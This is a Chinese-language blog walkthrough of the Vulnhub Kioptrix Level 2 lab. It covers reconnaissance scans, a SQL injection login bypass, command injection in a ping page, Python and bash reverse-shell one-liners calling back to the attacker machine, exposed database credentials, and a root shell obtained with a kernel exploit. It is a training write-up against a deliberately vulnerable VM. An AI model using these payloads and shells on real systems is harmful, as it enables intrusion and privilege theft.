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Vulnhub之Kioptrix Level 2靶机详细测试过程（提权成功）

时间：2023-02-20 08:22:04浏览次数：51  
标签：Kioptrix 10.1 Level -- kali 3.00 提权 root bash

Kioptrix Level 2

识别目标主机IP地址

(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ sudo netdiscover -i eth1 -r 10.1.1.0/24
Currently scanning: 10.1.1.0/24   |   Screen View: Unique Hosts                                                                                            
                                                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.1.1.1        00:50:56:c0:00:01      1      60  VMware, Inc.                                                                                             
 10.1.1.130      00:0c:29:b2:33:a0      1      60  VMware, Inc.                                                                                             
 10.1.1.254      00:50:56:ee:66:c6      1      60  VMware, Inc.

利用Kali Linux自带的netdiscover工具识别目标主机IP地址为10.1.1.130

NMAP扫描

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ sudo nmap -sS -sV -sC -p- 10.1.1.130 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 18:20 EST
Nmap scan report for localhost (10.1.1.130)
Host is up (0.0027s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 
|   1024 8f3e8b1e5863fecf27a318093b52cf72 (RSA1)
|   1024 346b453dbacecab25355ef1e43703836 (DSA)
|_  1024 684d8cbbb65abd7971b87147ea004261 (RSA)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.0.52 (CentOS)
111/tcp  open  rpcbind  2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            807/udp   status
|_  100024  1            810/tcp   status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after:  2010-10-08T00:10:47
|_http-server-header: Apache/2.0.52 (CentOS)
|_ssl-date: 2023-02-19T21:11:06+00:00; -2h09m38s from scanner time.
631/tcp  open  ipp      CUPS 1.1
|_http-title: 403 Forbidden
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
810/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:B2:33:A0 (VMware)

Host script results:
|_clock-skew: -2h09m38s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.79 seconds

获得Shell

端口3306

──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ mysql -uroot -p -h 10.1.1.130
Enter password: 
ERROR 1130 (HY000): Host '10.1.1.143' is not allowed to connect to this MySQL server
                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ mysql -uroot -p -h 10.1.1.130
Enter password: 
ERROR 1130 (HY000): Host '10.1.1.143' is not allowed to connect to this MySQL server

目标主机的mysql似乎设置了访问白名单

端口80

浏览器访问80端口，返回用户登录界面，貌似存在login bypass漏洞，但尝试了几个失败。

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ nikto -h http://10.1.1.130
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.1.1.130
+ Target Hostname:    10.1.1.130
+ Target Port:        80
+ Start Time:         2023-02-19 18:25:52 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.0.52 (CentOS)
+ Retrieved x-powered-by header: PHP/4.3.9
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.0.52 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 357810, size: 4872, mtime: Sat Mar 29 13:41:04 1980
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8699 requests: 1 error(s) and 17 item(s) reported on remote host
+ End Time:           2023-02-19 18:26:35 (GMT-5) (43 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

在尝试破解用户名和密码之前，先看一下有无其他目录或者文件可被利用。

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ gobuster dir -u http://10.1.1.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.1.1.130
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php,html,sh,txt
[+] Timeout:                 10s
===============================================================
2023/02/19 18:28:01 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 283]
/index.php            (Status: 200) [Size: 667]
/manual               (Status: 301) [Size: 309] [--> http://10.1.1.130/manual/]
/usage                (Status: 403) [Size: 283]
/.html                (Status: 403) [Size: 283]
Progress: 1102457 / 1102805 (99.97%)
===============================================================
2023/02/19 18:33:49 Finished
===============================================================

端口631

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ searchsploit CUPS 1.1              
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow                                                                        | linux/remote/24977.txt
CUPS 1.1.x - Cupsd Request Method Denial of Service                                                                        | linux/dos/22619.txt
CUPS 1.1.x - Negative Length HTTP Header                                                                                   | linux/remote/22106.txt
CUPS 1.1.x - UDP Packet Remote Denial of Service                                                                           | linux/dos/24599.txt
CUPS < 1.3.8-4 - Local Privilege Escalation                                                                                | multiple/local/7550.c
CUPS < 2.0.3 - Multiple Vulnerabilities                                                                                    | multiple/remote/37336.txt
CUPS < 2.0.3 - Remote Command Execution                                                                                    | linux/remote/41233.py
CUPS Server 1.1 - GET Denial of Service                                                                                    | linux/dos/1196.c
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ telnet 10.1.1.130 631   
Trying 10.1.1.130...
Connected to 10.1.1.130.
Escape character is '^]'.
^CConnection closed by foreign host.
                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ searchsploit -m linux/remote/41233.py
  Exploit: CUPS < 2.0.3 - Remote Command Execution
      URL: https://www.exploit-db.com/exploits/41233
     Path: /usr/share/exploitdb/exploits/linux/remote/41233.py
    Codes: CVE-2015-1158
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/Vulnhub/Kioptrix2-2/41233.py


┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ python2 41233.py -a 10.1.1.130 -b 631  -f   

             lol ty google
             0000000000000
          0000000000000000000   00
       00000000000000000000000000000
      0000000000000000000000000000000
    000000000             0000000000
   00000000               0000000000
  0000000                000000000000
 0000000               000000000000000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 0000000000000000              0000000
  0000000000000               0000000
   00000000000              00000000
   00000000000            000000000
  0000000000000000000000000000000
   00000000000000000000000000000
     000  0000000000000000000
             0000000000000
              @0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py

[*]     locate available printer
[-]     no printers

破解用户名和密码

gobuster工具没有收集到有价值的目录或者文件，接下来看是否可以突破用户登录

利用一些常见的SQL注入语句，结果下面这句即可成功绕过登录限制

admin' #

成功登录后，为ping命令，那接下来的任务是执行命令得到SHell

which nc没有返回结果，但是which python返回结果，也就是说目标主机没有nc命令，但是可以运行Python

但是

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.143",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

其实用下面的方法即可得到shell

bash -i >& /dev/tcp/10.1.1.143/5555 0>&1

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ sudo nc -nlvp 5555                                     
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [10.1.1.143] from (UNKNOWN) [10.1.1.130] 32797
bash: no job control in this shell
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ python -c 'import pty;pty.spawn("/bin/bash")'
bash-3.00$ ls -alh
ls -alh
total 24K
drwxr-xr-x  2 root root 4.0K Oct  8  2009 .
drwxr-xr-x  8 root root 4.0K Oct  7  2009 ..
-rwxr-Sr-t  1 root root 1.7K Feb  9  2012 index.php
-rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
bash-3.00$ cd /home
cd /home
bash-3.00$ ls -alh
ls -alh
total 24K
drwxr-xr-x   4 root   root   4.0K Oct 12  2009 .
drwxr-xr-x  23 root   root   4.0K Feb 19 16:05 ..
drwx------   2 harold harold 4.0K Oct 12  2009 harold
drwx------   2 john   john   4.0K Oct  8  2009 john
bash-3.00$ cd harold
cd harold
bash: cd: harold: Permission denied
bash-3.00$ cd john
cd john
bash: cd: john: Permission denied

提权

-rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
bash-3.00$ cat index.php
cat index.php
<?php
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");

        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."<br>";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";

找到了数据库连接用户名和密码，试一下是不是shell的密码

bash-3.00$ su - john
su - john
Password: hiroshima

su: incorrect password
bash-3.00$ 


mysql> show tables;
show tables;
+------------------+
| Tables_in_webapp |
+------------------+
| users            |
+------------------+
1 row in set (0.00 sec)

mysql> select * from users;
select * from users;
+------+----------+------------+
| id   | username | password   |
+------+----------+------------+
|    1 | admin    | 5afac8d85f |
|    2 | john     | 66lajGGbla |
+------+----------+------------+
2 rows in set (0.00 sec)

mysql> quit
quit
Bye
bash-3.00$ su - john
su - john
Password: 66lajGGbla

su: incorrect password


┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix2-2]
└─$ searchsploit kernel 2.6 | grep 9545
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Pr | linux/local/9545.c

只能利用本地提权漏洞，只有9545.c可利用

bash-3.00$ gcc -o exploit2 9545.c
gcc -o exploit2 9545.c
9545.c:376:28: warning: no newline at end of file
bash-3.00$ chmod +x exploit2
chmod +x exploit2
bash-3.00$ ./exploit2
./exploit2
sh-3.00# cd /root
cd /root
sh-3.00# ls -alh
ls -alh
total 144K
drwxr-x---   2 root root 4.0K Oct 12  2009 .
drwxr-xr-x  23 root root 4.0K Feb 19 16:05 ..
-rw-r--r--   1 root root 1.2K Oct  7  2009 anaconda-ks.cfg
-rw-r--r--   1 root root  215 Feb  9  2012 .bash_history
-rw-r--r--   1 root root   24 Feb 21  2005 .bash_logout
-rw-r--r--   1 root root  191 Feb 21  2005 .bash_profile
-rw-r--r--   1 root root  176 Feb 21  2005 .bashrc
-rw-r--r--   1 root root  100 Feb 21  2005 .cshrc
-rw-r--r--   1 root root  53K Oct  7  2009 install.log
-rw-r--r--   1 root root 3.8K Oct  7  2009 install.log.syslog
-rw-------   1 root root 1.5K Oct  8  2009 .mysql_history
-rw-r--r--   1 root root  102 Feb 21  2005 .tcshrc
sh-3.00#

经验教训

  1. 在利用searchsploit查询本地提权漏洞时，有些时候内核的版本不能太明细，否则查询不出相应的漏洞

  2. 在前一段时间用同样的提权漏洞执行失败，但是这次成功了。

标签：Kioptrix,10.1,Level,--,kali,3.00,提权,root,bash
From： https://www.cnblogs.com/jason-huawen/p/17136114.html

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